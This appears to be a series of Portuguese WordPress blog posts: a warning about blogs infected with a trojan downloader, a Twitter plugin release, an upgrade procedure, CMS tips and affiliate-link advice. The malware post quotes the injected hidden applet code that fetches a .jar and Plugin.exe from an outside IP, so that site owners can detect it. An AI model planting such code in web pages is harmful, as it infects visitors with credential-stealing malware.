Os atacantes estão usando diversas formas de fazer com que o código malicioso seja implementado nos blogs:

1. Explorando falha em blogs com versão desatualizada do WordPress

De tempos em tempos o WordPress, plataforma de blogs gratuita e muito utilizada em todo o mundo, disponibiliza atualizações de seus arquivos. Algumas dessas atualizações incluem correções de falhas de segurança. É sempre importante ficar atento e fazer os updates quando solicitado.

Nas versões mais novas do WP, isso pode ser feito em apenas 2 cliques, sem qualquer dificuldade por parte de quem utiliza o WP e não possui habilidades com servidores e procedimentos técnicos. O próprio sistema faz tudo por você, mas você precisa pedir que ele se atualize.

Na área administrativa do blog, você verá um aviso marcado em amarelo no topo da página, avisando que existe uma atualização disponível e um link para atualizar. Ao clicar nesse link, uma nova tela será aberta para confirmar a atualização, basta clicar no botão “atualizar automaticamente”. Lembrando que a versão mais nova disponível é a 2.9.2.

2. Distribuindo em temas gratuitos disponíveis para download

Evite baixar temas de outros sites que não estejam no repositório de temas oficial do WordPress. Se fizer isso, pois existem vários temas Premium fora do repositório, principalmente os que não são gratuitos, sempre procure dentro do código fonte por chamadas estranhas.

O que você deve procurar:

• Chamadas externas de qualquer natureza. Se o tema pede uma inclusão de arquivo fora do seu domínio, desconfie e verifique do que se trata;
• Chamadas para arquivos Flash que não deveriam estar presentes no tema. Se você não baixou um tema com Flash, uma chamada dessas pode esconder um código malicioso.
• Chamadas para Applets. Essa praga era usada no tempo do ronca para executar coisas que hoje fazemos com Flash, CSS ou HTML5, portanto, deixe-a relegada aos bancos e suas traquitanas de segurança. Applet é um troço que roda na máquina do usuário e, se o mesmo permitir, pode fazer leitura e gravação em disco local, uma potencial falha de segurança (e a gente sabe que o usuário permite sempre né?).
• Links estranhos escondidos com CSS. Muitos temas podem servir para referenciar sites maliciosos, fazendo com que os backlinks para esses sites os destaquem nos mecanismos de busca. Não suporte parasitas, só dê link para o autor do tema, se não for um site-armadilha.

3. Distribuindo em plugins gratuitos disponíveis para download

Os plugins agem no WordPress como extensão do aplicativo. Isso faz com que o comportamento do sistema possa ser comprometido e o seu blog se tornar vítima de golpe ou distribuidor de arquivos maliciosos. Se você não tem habilidades técnicas para verificar o código de um plugin, baixe sempre de sites confiáveis, como o próprio repositório do WordPress. Leia os comentários dos usuários sobre o plugin, a compatibilidade e se verificar algum problema, relate, é sua ajuda que faz com que o repositório se mantenha limpo.

O trojan que está sendo distribuído

O arquivo está sendo distribuído como uma atualização do plugin Flash e solicita a permissão do usuário para instalá-lo. O malware, disfarçado com o nome de Plugin.exe, foi analisado pelo VirusTotal como trojan Downloader (provavelmente um Banker, utilizado para roubar senhas dos usuários ao acessarem Internet Banking).

Ao acessar um site infectado, a seguinte tela surge:

Essa é a deixa de que existe um problema no site. Note que ele busca o arquivo externamente, através de um IP de outro país, o que já dispara nossos alarmes. Se o usuário clicar em “negar”, tudo certo para ele, não será infectado dessa vez (espero que se lembre sempre disso).

O código malicioso

Eu coletei do blog acima um trecho de código que dispara a ação do trojan. O mesmo código foi notado em outros 3 blogs, portanto, pode ser um padrão a ser buscado, mas não acredite que seja o único. O mesmo arquivo pode vir com outro nome, de outro IP e através de outra chamada que não seja um applet, então, entenda o trecho abaixo como apenas uma das possibilidades.

<applet name=”Clique em RUN – Adobe FlashPlayer 10.0.015.7″ code=”Inicio.class” archive=”http://174.37.21.130/…/FlashPlayer.jar” height=”0″ width=”0″> <param name=”url” value=”http://174.37.21.130/…/Plugin.exe”></applet><applet name=”Clique em RUN – Adobe FlashPlayer 10.0.015.7″ code=”Inicio.class” archive=”http://174.37.21.130/…/FlashPlayer.jar” height=”0″ width=”0″> <param name=”url” value=”http://174.37.21.130/…/Plugin.exe”></applet>

O que fazer se descobrir seu site infectado

O primeiro a ser feito é remover o código malicioso, atualizar os arquivos e zerar o cache do servidor. Depois verifique os seguintes problemas de fácil detecção:

• Seu sistema de blogs está atualizado para a última versão?
• Existe algum login de usuário desconhecido que você mesmo não tenha criado?
• Todos possuem acesso aos arquivos de tema? Todos possuem senhas fortes?
• A senha do admin não é trocada há quanto tempo? É forte? (dica: troque imediatamente)
• Existe algum arquivo diferente em seu servidor, que não sejam os arquivos do próprio CMS e as imagens e arquivos do tema que você mesmo fez upload? (dica: olhe a pasta de uploads do servidor)

Avise aos seus leitores sobre a possível ameaça, oriente-os a não permitir esse tipo de execução em seus computadores e indique-os bons antivírus. Se assim desejar, agradeço a indicação do meu outro blog Balela.info, em que trato especificamente sobre esse assunto.

Se você descobrir algum outro código que esteja sendo utilizado para distribuir malwares, comente aqui e ajude a espalhar a notícia.

Como blogueiro, o Twitter se mostrou um espaço interessante para anunciar novos posts, leituras, videos, curiosidades, etc. Quem gosta do que você compartilha, te segue, quem não gosta, deixa de seguir e todos vivem felizes para sempre.

Como o Twitter tem dado bons resultados para links enviados, decidi automatizar o processo e encontrei um plugin do WordPress muito bom: Twitter Updater. O problema é que ele não funcionava direito nas versões mais novas e só tinha o TinyURL como redutor de links. Decidi fazer umas alterações e acabou surgindo o Twittaí.

Funcionalidades do Twittaí

• Interface totalmente em português;
• Mensagens configuráveis para 4 situações: a. criando um novo rascunho; b. atualizando um rascunho; c. publicando um novo post; e d. atualizando um post publicado;
• Usuário escolhe em quais situações ele quer atualizar o Twitter;
• Possibilidade de utilizar o  Migre-Me, is.gd ou TinyURL para encurtar URLs do post (usuário escolhe);
• Espaço para utilização de variáveis de rastreamento (para contabilizar visitas);
• Funciona nas versões 2.7+ do WordPress;
• Possui bloqueios de segurança, para evitar twitts indesejados (posts privados, por exemplo);
• Posts agendados só são tuitados ao serem publicados.

Nessa primeira versão, a idéia principal foi traduzir a interface, fazê-lo funcionar na versão 2.7 do WP e utilizar o migre.me, do meu amigo Jonny Ken, como encurtador padrão, mas acabei tendo algumas idéias para melhorar o plugin, por conta disso, mudei o nome da minha versão, para poder seguir uma linha de desenvolvimento paralela à do Twitter Updater, sem atrapalhá-la.

O plugin é gratuito, você pode baixar e usar da forma que quiser. Se fizer alguma atualização que ache interessante compartilhar, deixe um comentário.

Download do plugin Twittaí versão 1.1.1

Twittaí v1.1.1 - 5.32 KB [1842 downloads]

Como instalar o Twittaí

• Descompacte o arquivo baixado dentro da sua pasta wp-content/plugins;
• Faça upload da pasta twittai para o mesmo diretório, em seu servidor;
• Ative o plugin em sua interface administrativa e procure o nome do plugin na seção Ferramentas (Tools);
• Configure no final da página o seu login e senha de sua conta Twitter;
• Verifique as mensagens padrão configuradas e edite-as ao seu próprio gosto.

Como utilizar o Twittaí

Se você tiver instalado e configurado corretamente, a utilização é automática. Você não precisa fazer nada especial ao criar / editar um novo post. De acordo com o que você escolheu, ao salvar um post o plugin entrará em ação e atualizará seu Twitter automagicamente.

Curtiu? Deixa um comentário dizendo o que achou e dando dicas e sugestões para melhorias.

UPDATE (03/06/2009): A versão 1.1 vem com uma correção de bug que impede que posts agendados sejam tuitados antes da sua publicação; além disso, foi adicionado o is.gd como encurtador de urls.

UPDATE (19/07/2009): O bug que fazia com que os posts no Twitter fossem duplicados em algumas situações foi corrigido nessa versão. Se não quiser baixar e instalar tudo novamente, apenas copie a linha 32 do arquivo twittai.php.

Após uma pequena confusão com um dos plugins (Category Visibility, que usava a antiga hierarquia de categorias do WP), desabilitá-lo e encontrar um substituto, o restante foi apenas ajustar pequenos detalhes. Quer uma dica de como fazer o procedimento sem (muita) dor? Lá vai a receita de bolo:

1. Crie um subdomínio qualquer, algo como teste.seublog.com
2. Copie a sua base de dados do WP com outro nome, duplicando-a
3. Baixe a versão mais atual do WordPress e envie para esse subdomínio (FTP)
4. Copie, do seu domínio atual, a pasta wp-content e o arquivo wp-config.php e envie para o subdomínio criado (esse passo você pode executar por SSH ou FTP [vai demorar mais])
5. Edite o seu arquivo wp-config.php e mude o nome da base de dados para a segunda, duplicada no passo 2
6. Acesse a sua base de dados duplicada e edite a tabela wp-options, mudando qualquer referência ao seu dominio atual pelo seu subdomínio (passo importante)
7. Agora acesse o endereço do subdomínio completando com /wp-admin/upgrade.php. Exemplo: http://teste.seudominio.com/wp-admin/upgrade.php. Siga os passos indicados (basta 1 clique)
8. Verifique se o blog irá funcionar, acesse o admin e verifique upgrades de plugins, etc. Resumindo, faça uma faxina geral em seu blog enquanto está no subdomínio
9. Constatou que está tudo certo? Feche as telas do WP, acesse novamente o seu banco de dados e altere novamente, dentro do wp-options, os valores editados no passo 6, colocando seu domínio real de volta ao seu local de direito
10. O passo final e mais importante: renomeie (por FTP ou SSH) as pastas principais do seu domínio e subdominio, invertendo as duas. Aqui é preciso ter o máximo de atenção, pois provedores de hospedagem são diferentes e nem sempre você irá encontrar a mesma estrutura. Então vamos aos casos:
    1. Caso 1: Seu domínio e subdomínio estão numa mesma pasta de usuário. Moleza, basta renomear a pasta seudominio.com para old.seudominio.com e depois renomear a pasta teste.seudominio.com para seudominio.com.
    2. Caso 2: Seu subdomínio é uma pasta dentro do seu domínio. Crie uma pasta old ou backup e mova todos os arquivos (menos a pasta do seu subdomínio, óbvio) para dentro dessa nova pasta criada. Depois disso, mova todos os arquivos da pasta de seu subdominio para a pasta principal.
    3. Caso 3: Seu subdominio foi criado com um novo usuário e por isso você não enxerga a pasta por FTP. Nesse caso só dá pra fazer o procedimento por SSH. Renomeie a pasta public_html para public_html_old dentro da home de seu domínio e copie a pasta public_html do seu subdomínio para substituí-lo.
11. Acesse o seu blog no endereço definitivo e veja se fez alguma besteira.

Caso não queira arriscar – recomendo, se você não entendeu pelo menos 90% do que foi escrito acima – use um plugin para WordPress chamado InstantUpgrade (por que as pessoas sempre deixam a solução mais simples por último?).

Lembre-se: SEMPRE faça backups de seus arquivos e base de dados antes de qualquer procedimento de atualização. Não subestime os imprevistos.

Ah! Por favor, se você encontrar algum erro dentro do Tecnocracia, me avise por e-mail ou faça um comentário nesse texto. Agradeço muito.

Dada sua flexibilidade, atualizações constantes e uma imensa comunidade para dar suporte e criar ferramentas para ampliar suas capacidades, o WP se tornou um CMS viável e poderoso, principalmente para sites pequenos e portais verticais de pequeno porte.

Dicas úteis sobre a utilização do WP como CMS

Defina corretamente a estrutura do seu site antes de qualquer coisa. Pense em conjunto com o WordPress, à medida que explora suas funcionalidades e plugins existentes na Internet. Uma boa categorização dos elementos facilitará bastante a implementação e manutenção do site posteriormente.

Use páginas para o conteúdo estático. Todo site institucional possui conteúdos que não se modificam com o tempo (pequenas alterações não contam) e os mecanismos de busca indexarão muito melhor seu conteúdo se ele for uma página.

Utilize URLs textuais. Habilite a opção do WP para utilizar os nomes das páginas e artigos como endereço da mesma. Muito mais fácil para identificar nos títulos das páginas e com uma indexação também muito melhor. Lembre-se nesse passo da relevância do título de sua página com relação ao conteúdo, links e menu.

Explore ao máximo as características dos plugins instalados. Use ferramentas que otimizem os comentários, permita trackbacks, instale plugins que controlem os formulários de contato e apresentem galerias de imagens. Quanto mais recursos você tiver disponível – e utilizar, obviamente – mais rápida e fácil se torna a manutenção, mais interativo o site se mostra.

Deixe claro que um blog é um blog. Se você previu uma seção para artigos, deixe claro que isso é um conteúdo dinâmico, atualizado constantemente e possibilite comentários e assinatura de feeds. Separe no seu template o arquivo page.php do arquivo index.php e single.php. Cada um tem seu papel e deve ser utilizado corretamente. Não deixe que uma página se pareça com um post e vice-versa. Se a empresa pretende manter um blog, insista com o cliente em usar o termo blog e não artigos ou notícias.

Identifique as seções e use um sidebar personalizado. Em cada página você pode ter conteúdos diferentes de acordo com a seção em que o usuário está acessando, porém o arquivo sidebar.php será o mesmo em todas as situações. Identifique com as Conditional Tags e exiba conteúdo de acordo.

Caso de estudo: CMB Consultoria

[tags]Blogando24h, WordPress, Desenvolvimento, CMS, Padrões Web[/tags]

Buscapé : Paga ao afiliado pelo segundo clique do visitante. No entanto, há um termo no TOS deles que possibilita desconsiderar o segundo clique quando o mesmo apenas abre uma categoria. Nesse caso, mesmo que o visitante clique em uma loja (no terceiro ou quarto clique), o que vale é o segundo, considerado como “clique de baixa qualidade” e não contabilizado.

JáCotei : Paga ao afiliado pelo clique que o direciona à uma loja. Como nesse caso todos os cliques são repasse de valor, todos são pagos. Aqui, há de se considerar o clique ruim, aquele que direciona para páginas sem produtos ou muito genéricas, tornando mais difícil o caminho do visitante até uma loja.

Para resolver as questões acima citadas, para ambos os programas afiliados vale o objetivo principal, que é levar o visitante à uma lista de produtos ou de lojas diretamente, aumentando a possibilidade do clique válido ou premium. Para isso, siga as dicas abaixo e veja seus rendimentos aumentarem sensivelmente:

1. Sempre forneça uma categoria para a termo de busca

Isso é feito facilmente adicionando “:” após o termo e o número da categoria na sequência, por exemplo: “Homem Aranha 3:257″. No exemplo, seu visitante será direcionado para a categoria “DVD Filmes” buscando pelo termo “Homem Aranha 3” (isso no JaCotei). Isso pode ser feito tanto dentro de tags BP quanto BL.

Uma informação importante é sempre direcionar para a categoria mais próxima do produto, não para categorias acima. Se você tiver por exemplo, uma categoria “Informática” e dentro dessa uma outra chamada “Computadores” e deseja criar uma pesquisa por computadores, não direcione o visitante para “Informática”. Isso pode resultar numa busca vazia ou com resultados indesejados.

2. Faça uma busca pelo termo desejado antes de inserí-lo

É conveniente abrir o site de comparação utilizado e fazer uma busca genérica pelo termo que deseja adicionar um BP. Com essa simples atitude, você poderá escolher a melhor categoria (com melhores resultados) para direcionar e até mesmo verificar a existência de produtos com esse termo. Não é incomum direcionar um visitante para uma página sem produtos.

3. Escolha termos relevantes e de acordo com seu blog

Ao escolher os termos a serem referenciados, procure melhorar o resultado escolhendo aqueles que mais tem relevância com o seu blog ou com o assunto tratado no artigo em questão. A pessoa que chegou em seu texto através de buscas tem muito mais probabilidade de clicar em um link que pareça relevante, que em palavras curiosas.

4. Adicione sempre uma lista BL ao fim do artigo

Crie sempre listas BL de acordo com o seu artigo. A randomização de listas pré-determinadas existe para que não seja preciso editar os artigos mais antigos, mas não deve substituir a criatividade e relevência dos termos escolhidos por você. Lembre-se que seu artigo será indexado pelos mecanismos de busca e pode até mesmo receber cliques diretos desses sites. A mudança no conteúdo do artigo, através da randomização das listas, fará com que seu artigo pareça sempre como “alterado” para os mecanismos, reduzindo sua importância no ranking.

5. Destaque sua lista BL

Utilize classes CSS para exibir sua lista de forma destacada no artigo. Utilize bordas e cores de fundo para diferenciar a lista do conteúdo e/ou anúncios exibidos em seu artigo.

As dicas principais são essas, você certamente descobrirá outras formas de melhorar o desempenho dos programas e do plugin. Deixe aqui sua contribuição. Bons rendimentos!

Compare preços de: